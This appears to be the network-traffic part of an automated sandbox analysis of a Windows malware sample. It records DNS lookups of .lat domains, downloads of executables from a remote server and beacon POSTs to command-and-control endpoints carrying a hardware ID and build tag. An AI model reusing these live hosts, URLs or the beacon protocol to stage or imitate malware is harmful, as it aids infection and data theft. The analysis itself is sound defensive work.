Dec 20, 2024 16:53:42.624752045 CET	49774	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:53:42.744316101 CET	80	49774	185.215.113.206	192.168.2.5
Dec 20, 2024 16:53:44.001511097 CET	80	49774	185.215.113.206	192.168.2.5
Dec 20, 2024 16:53:44.001631021 CET	49774	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:53:44.004996061 CET	49774	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:53:44.124840021 CET	80	49774	185.215.113.206	192.168.2.5
Dec 20, 2024 16:53:44.453160048 CET	80	49774	185.215.113.206	192.168.2.5
Dec 20, 2024 16:53:44.453273058 CET	49774	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:53:46.833041906 CET	49774	80	192.168.2.5	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:53:05.354443073 CET	50834	53	192.168.2.5	1.1.1.1
Dec 20, 2024 16:53:05.578005075 CET	53	50834	1.1.1.1	192.168.2.5
Dec 20, 2024 16:53:05.588267088 CET	62707	53	192.168.2.5	1.1.1.1
Dec 20, 2024 16:53:05.726109982 CET	53	62707	1.1.1.1	192.168.2.5
Dec 20, 2024 16:53:05.729651928 CET	62901	53	192.168.2.5	1.1.1.1
Dec 20, 2024 16:53:05.866977930 CET	53	62901	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:53:05.354443073 CET	192.168.2.5	1.1.1.1	0x9597	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:53:05.588267088 CET	192.168.2.5	1.1.1.1	0x4ef6	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:53:05.729651928 CET	192.168.2.5	1.1.1.1	0xaf0a	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:53:05.578005075 CET	1.1.1.1	192.168.2.5	0x9597	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:53:05.726109982 CET	1.1.1.1	192.168.2.5	0x4ef6	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:53:05.866977930 CET	1.1.1.1	192.168.2.5	0xaf0a	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:53:05.866977930 CET	1.1.1.1	192.168.2.5	0xaf0a	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49739	185.215.113.16	80	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:53:27.876632929 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:53:29.220216036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:53:28 GMT Content-Type: application/octet-stream Content-Length: 2846208 Last-Modified: Fri, 20 Dec 2024 15:44:49 GMT Connection: keep-alive ETag: "676590f1-2b6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui`D @ @ @.rsrcD``@.idata f@ljmymddw**h@ajdgxuni +F+@.taggant@+"L+@
Dec 20, 2024 16:53:29.220277071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220298052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220562935 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220582962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220603943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220622063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.220642090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:53:29.221084118 CET	1236	IN	Data Raw: b7 f5 ef bb b0 0c a9 bc 20 0e 88 8c 20 9e ea 2d 94 93 e0 2b f9 ae e0 bb 1a 0c 0d be 20 0e 88 8b 20 9e ea 2d 60 93 e0 2b f9 ae e0 bb 1a 0c d5 bf 20 0e 7e f2 24 9e 70 2d dc 92 e0 2b f9 ad e0 bb 1a 0c d5 bf 20 0e 7e ca 24 9e 70 2d 5a 9e e0 2b f9 ad Data Ascii: -+ -`+ ~$p-+ ~$p-Z+ ~:%p-+ ~%p-+ ~P%p-+ ~%p-+ ~fp-^+ ~\p-^+ ~p-^+xB
Dec 20, 2024 16:53:29.221100092 CET	1236	IN	Data Raw: 09 37 e9 81 20 9d e0 d3 00 9e e0 bb 20 10 98 62 1e 9d e0 bc 20 9e e0 bb 20 1e e0 0c 01 9d e9 e6 21 9d e0 bb 20 9e e0 3b 21 2d 80 92 25 c3 e1 80 20 9e e0 bb 20 1e e0 0c 01 2f e9 ee 21 90 e0 bb 20 9e e0 3b 21 2d 80 03 1a c6 e1 82 20 9e e0 bb 20 1e Data Ascii: 7 b ! ;!-% /! ;!- ! ;!-% i! ;!-% !# -@ !N-&[ -_ !-&{ -8% !m6& -
Dec 20, 2024 16:53:29.340259075 CET	1236	IN	Data Raw: 21 a1 e0 10 25 9d e0 bb 21 a7 e0 e0 18 9d e0 bf a0 9e e0 bc 20 9e e0 bb 20 9e e0 bb 20 9e e0 bb 20 b8 e8 bb 20 92 e0 bb 20 9e e0 bb 20 9e e0 bb 20 1e e0 ed 24 9e e0 bb 20 92 e0 bb 20 9e e0 bb 20 9e e0 bb 20 1e e0 a9 19 9e e0 bb 20 91 e0 bf 20 90 Data Ascii: !%! $ Ap$~*J/I)L0M)~1M SC^_ R^_ \^\^_
Dec 20, 2024 16:53:34.280818939 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:53:34.805180073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:53:33 GMT Content-Type: application/octet-stream Content-Length: 2883584 Last-Modified: Fri, 20 Dec 2024 15:46:44 GMT Connection: keep-alive ETag: "67659164-2c0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0O@`O,@M$a$$ $h@.rsrc$x@.idata $z@ojvirhut`$^\|@ueswzroq O+@.taggant00O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49774	185.215.113.206	80	5176	C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:53:42.624752045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:53:44.001511097 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:53:44.004996061 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 30 39 34 45 41 36 39 44 44 31 34 31 33 30 36 38 39 37 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="hwid"84094EA69DD14130689737------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="build"stok------HCAEHDHDAKJEBGCBKKJE--
Dec 20, 2024 16:53:44.453160048 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:07 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 15:53:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 15:53:07 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t1fbg77falbrs8f85nb76qiibe; expires=Tue, 15 Apr 2025 09:39:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SwZxZM697UNnShAzLao96ul5YNNYyz%2BszvwbPOibt7h6WGen%2BUfNEcdyiYI71qVE5Fa%2Bo3MIniKTWHELCr8dQkU1kchqXPPTm0YrvXJsWKAp5%2FGNPyKQ9xvoa3xUbyfy8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cdad0a417ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1949&rtt_var=743&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1460000&cwnd=179&unsent_bytes=0&cid=262e719e02b06c2b&ts=848&x=0"
2024-12-20 15:53:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 15:53:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:09 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 15:53:09 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 15:53:10 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5efse272mpn644p1i39j9nvds3; expires=Tue, 15 Apr 2025 09:39:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4obObRv5LadZudcGnp3zId8xNzbmBzMDjtYdCJTA67Mh7DLuxO3sqNpxdUyhOmdZjRWuL3KE3Cee02Xpq0f1mgeMEkSkpImOWBXFyGJvC0Wd73pHIqr424j%2F8DWpp20ceQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cdba2f7642dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3906&min_rtt=1729&rtt_var=2120&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=945&delivery_rate=1688837&cwnd=251&unsent_bytes=0&cid=af54d954a1d9d357&ts=880&x=0"
2024-12-20 15:53:10 UTC	247	IN	Data Raw: 34 36 63 0d 0a 6f 66 49 6b 62 47 76 4c 4c 39 4b 72 77 45 42 67 5a 6b 2b 70 31 4e 6c 65 4e 6d 65 55 67 5a 6d 50 70 54 66 67 78 61 65 74 6e 32 7a 61 30 46 4a 4f 55 66 38 44 38 4e 69 6c 59 6c 6f 53 50 64 79 78 39 58 78 58 41 37 61 37 2f 2b 37 4a 52 49 58 70 68 64 76 79 54 70 75 55 52 51 41 59 72 67 50 77 7a 72 68 69 57 6a 30 30 69 37 47 33 66 41 78 46 38 65 76 37 37 73 6c 56 67 61 37 49 33 66 4d 50 79 5a 35 44 42 41 36 6f 53 37 50 48 72 53 55 46 41 79 37 44 75 72 41 7a 58 67 71 32 72 62 76 71 33 78 58 61 35 2b 72 49 36 77 33 73 6b 31 63 48 53 62 59 44 71 59 6d 6c 4c 6b 4a 63 62 63 69 78 75 7a 4a 51 41 2f 2f 70 38 65 66 42 56 49 53 76 31 38 54 35 42 4d 6d 51 51 41 55 45 6f 56 2b 2b 7a 61 6f 75 41 77 6b 75 69 2f 6a 37 4f 30 78 46 72 71 Data Ascii: 46cofIkbGvLL9KrwEBgZk+p1NleNmeUgZmPpTfgxaetn2za0FJOUf8D8NilYloSPdyx9XxXA7a7/+7JRIXphdvyTpuURQAYrgPwzrhiWj00i7G3fAxF8ev77slVga7I3fMPyZ5DBA6oS7PHrSUFAy7DurAzXgq2rbvq3xXa5+rI6w3sk1cHSbYDqYmlLkJcbcixuzJQA//p8efBVISv18T5BMmQQAUEoV++zaouAwkui/j7O0xFrq
2024-12-20 15:53:10 UTC	892	IN	Data Raw: 4f 6f 33 38 52 45 6b 37 4c 49 33 2f 74 4f 33 4e 35 66 54 67 36 6c 44 65 69 4a 71 69 34 4d 41 53 37 45 73 62 6f 38 52 67 72 32 34 50 50 6c 77 31 2b 4e 71 4d 72 42 39 77 6e 4c 6d 55 45 42 44 71 46 4c 76 38 72 69 62 45 49 44 4e 59 76 75 2b 78 78 45 42 76 58 33 39 76 79 48 53 73 79 2b 68 63 6a 78 54 70 76 51 51 41 41 49 70 45 32 69 77 61 6b 70 42 78 59 6d 77 72 75 32 50 46 6b 50 2b 65 44 37 36 73 31 66 6a 61 33 42 77 76 41 49 77 35 41 47 51 45 6d 75 56 66 43 52 34 67 45 48 46 43 72 48 6f 50 6b 47 46 42 71 34 2b 72 76 71 79 78 58 61 35 38 33 4b 2f 67 33 49 6e 30 55 47 41 72 74 4e 6f 73 2b 76 4a 78 41 43 4b 4d 57 38 75 43 35 65 43 2f 44 67 38 75 62 4f 55 49 57 6a 68 59 47 39 43 64 76 51 48 6b 34 6f 70 45 61 38 77 37 55 69 51 68 74 6a 30 76 61 38 4d 42 52 64 74 Data Ascii: Oo38REk7LI3/tO3N5fTg6lDeiJqi4MAS7Esbo8Rgr24PPlw1+NqMrB9wnLmUEBDqFLv8ribEIDNYvu+xxEBvX39vyHSsy+hcjxTpvQQAAIpE2iwakpBxYmwru2PFkP+eD76s1fja3BwvAIw5AGQEmuVfCR4gEHFCrHoPkGFBq4+rvqyxXa583K/g3In0UGArtNos+vJxACKMW8uC5eC/Dg8ubOUIWjhYG9CdvQHk4opEa8w7UiQhtj0va8MBRdt
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 4d 6c 4d 54 74 76 79 31 39 49 64 53 6a 75 65 64 6a 2f 49 42 7a 4a 68 47 44 77 32 6b 53 62 48 45 72 69 73 42 43 43 48 44 75 37 63 34 57 77 33 2b 34 50 50 2f 79 56 75 45 6f 63 58 4b 76 55 43 44 6c 31 35 4f 55 65 6c 70 76 74 36 32 4b 55 41 78 4c 73 57 34 76 43 6f 55 47 72 6a 36 75 2b 72 4c 46 64 72 6e 79 38 4c 32 41 73 53 5a 52 77 30 4a 6f 30 4f 2f 77 36 6f 71 41 67 6b 73 77 4c 36 39 4d 56 38 4b 2b 65 54 7a 37 73 74 51 6a 36 53 46 67 62 30 4a 32 39 41 65 54 69 79 6e 54 71 48 59 34 42 63 42 43 69 50 4d 6f 50 73 6a 47 68 79 32 35 50 65 74 6e 78 57 49 6f 4d 4c 4c 38 41 54 41 6c 45 49 44 42 71 42 45 75 64 75 6f 4c 67 77 57 49 4d 47 7a 74 54 42 52 43 76 62 69 2b 75 50 4e 58 73 4c 70 68 63 6a 6c 54 70 76 51 61 51 4d 5a 75 30 65 37 32 4f 41 58 41 Data Ascii: 44b0MlMTtvy19IdSjuedj/IBzJhGDw2kSbHErisBCCHDu7c4Ww3+4PP/yVuEocXKvUCDl15OUelpvt62KUAxLsW4vCoUGrj6u+rLFdrny8L2AsSZRw0Jo0O/w6oqAgkswL69MV8K+eTz7stQj6SFgb0J29AeTiynTqHY4BcBCiPMoPsjGhy25PetnxWIoMLL8ATAlEIDBqBEuduoLgwWIMGztTBRCvbi+uPNXsLphcjlTpvQaQMZu0e72OAXA
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 75 2b 78 4e 58 45 2f 79 6a 35 4b 50 65 46 59 57 72 68 5a 65 39 42 4d 2b 55 52 51 49 41 70 55 43 78 7a 61 55 76 42 67 51 72 7a 62 4f 36 4e 31 77 4a 2b 65 6e 33 36 63 74 63 68 4b 76 47 7a 50 74 4f 6a 64 42 42 46 6b 6e 78 44 5a 48 45 71 53 34 43 42 7a 7a 4d 39 76 56 38 57 67 50 32 6f 36 50 37 31 30 4b 46 75 49 76 57 76 51 6e 50 30 42 35 4f 41 37 74 49 76 73 32 6f 4a 77 59 49 4a 38 75 7a 71 54 52 53 41 76 72 72 2f 75 4c 42 55 49 2b 67 7a 73 7a 76 48 4d 43 55 53 41 4a 4a 35 77 32 33 30 65 4a 36 51 69 45 36 79 4b 61 39 50 78 51 61 75 50 71 37 36 73 73 56 32 75 66 46 77 66 45 46 78 4a 74 4e 43 67 32 70 51 4c 76 48 72 43 73 4f 44 43 48 4d 70 4c 59 35 58 41 2f 2f 35 76 66 67 78 45 65 42 70 6f 57 42 76 51 6e 62 30 42 35 4f 4c 70 70 36 6b 34 6d 39 62 42 74 45 4b 73 Data Ascii: u+xNXE/yj5KPeFYWrhZe9BM+URQIApUCxzaUvBgQrzbO6N1wJ+en36ctchKvGzPtOjdBBFknxDZHEqS4CBzzM9vV8WgP2o6P710KFuIvWvQnP0B5OA7tIvs2oJwYIJ8uzqTRSAvrr/uLBUI+gzszvHMCUSAJJ5w230eJ6QiE6yKa9PxQauPq76ssV2ufFwfEFxJtNCg2pQLvHrCsODCHMpLY5XA//5vfgxEeBpoWBvQnb0B5OLpp6k4m9bBtEKs
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 65 41 62 35 36 4c 76 79 69 55 7a 43 6f 4d 6d 50 70 55 37 45 6d 45 34 41 43 71 39 47 76 4d 57 6a 4b 77 51 42 4a 63 79 35 76 44 56 54 42 66 44 78 2f 4f 44 4f 56 59 6d 75 7a 38 76 38 42 59 50 65 42 67 6b 52 36 52 58 77 2b 36 55 30 45 67 64 74 31 50 69 69 66 46 4d 4a 74 72 75 37 34 4e 56 55 68 37 58 42 77 50 59 63 79 4a 5a 47 43 78 75 75 51 62 72 47 6f 53 6f 50 42 79 58 5a 74 72 59 38 52 68 66 77 36 50 57 74 69 52 57 46 76 34 57 58 76 54 2f 55 6d 77 59 52 52 37 41 4e 74 38 58 69 65 6b 49 48 4a 38 61 34 71 54 68 53 44 76 58 74 38 2b 6a 50 55 59 69 71 79 73 54 33 42 38 75 51 53 51 73 42 6f 6b 75 2b 79 4b 51 75 44 30 52 6a 69 37 47 6a 66 41 78 46 30 66 6e 32 36 39 42 45 74 36 44 46 6e 72 30 52 6a 59 6b 47 43 51 58 70 46 66 44 45 72 69 67 50 41 53 6e 44 73 62 67 Data Ascii: eAb56LvyiUzCoMmPpU7EmE4ACq9GvMWjKwQBJcy5vDVTBfDx/ODOVYmuz8v8BYPeBgkR6RXw+6U0Egdt1PiifFMJtru74NVUh7XBwPYcyJZGCxuuQbrGoSoPByXZtrY8Rhfw6PWtiRWFv4WXvT/UmwYRR7ANt8XiekIHJ8a4qThSDvXt8+jPUYiqysT3B8uQSQsBoku+yKQuD0Rji7GjfAxF0fn269BEt6DFnr0RjYkGCQXpFfDErigPASnDsbg
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 75 54 33 72 5a 38 56 6a 4b 72 44 7a 76 77 47 79 35 42 41 42 41 32 71 52 4c 50 4f 71 79 51 4a 42 79 66 45 73 62 30 34 56 41 37 78 37 66 33 6f 7a 46 7a 43 36 59 58 49 35 55 36 62 30 47 41 74 47 37 74 2f 76 73 71 35 59 68 31 4b 4e 49 75 78 74 33 77 4d 52 66 33 72 39 50 2f 43 58 49 71 6a 7a 4d 2f 35 42 4d 36 58 52 67 73 45 72 45 6d 2b 7a 61 55 69 44 67 73 71 77 37 6d 2f 50 46 74 46 75 4b 50 38 39 59 63 4e 77 6f 66 4f 32 64 77 41 79 49 49 47 45 55 65 77 44 62 66 46 34 6e 70 43 43 69 54 4b 76 72 55 77 58 41 48 6b 34 2f 44 6b 79 46 53 4e 70 38 62 4f 39 77 62 52 6c 6b 59 46 41 61 35 46 74 4d 65 77 49 77 31 45 59 34 75 78 6f 33 77 4d 52 63 66 31 2f 4f 72 49 46 36 75 67 33 73 37 33 44 63 69 63 42 68 46 48 73 41 32 33 78 65 4a 36 51 67 6b 68 78 72 4b 70 4d 46 51 46 Data Ascii: uT3rZ8VjKrDzvwGy5BABA2qRLPOqyQJByfEsb04VA7x7f3ozFzC6YXI5U6b0GAtG7t/vsq5Yh1KNIuxt3wMRf3r9P/CXIqjzM/5BM6XRgsErEm+zaUiDgsqw7m/PFtFuKP89YcNwofO2dwAyIIGEUewDbfF4npCCiTKvrUwXAHk4/DkyFSNp8bO9wbRlkYFAa5FtMewIw1EY4uxo3wMRcf1/OrIF6ug3s73DcicBhFHsA23xeJ6QgkhxrKpMFQF
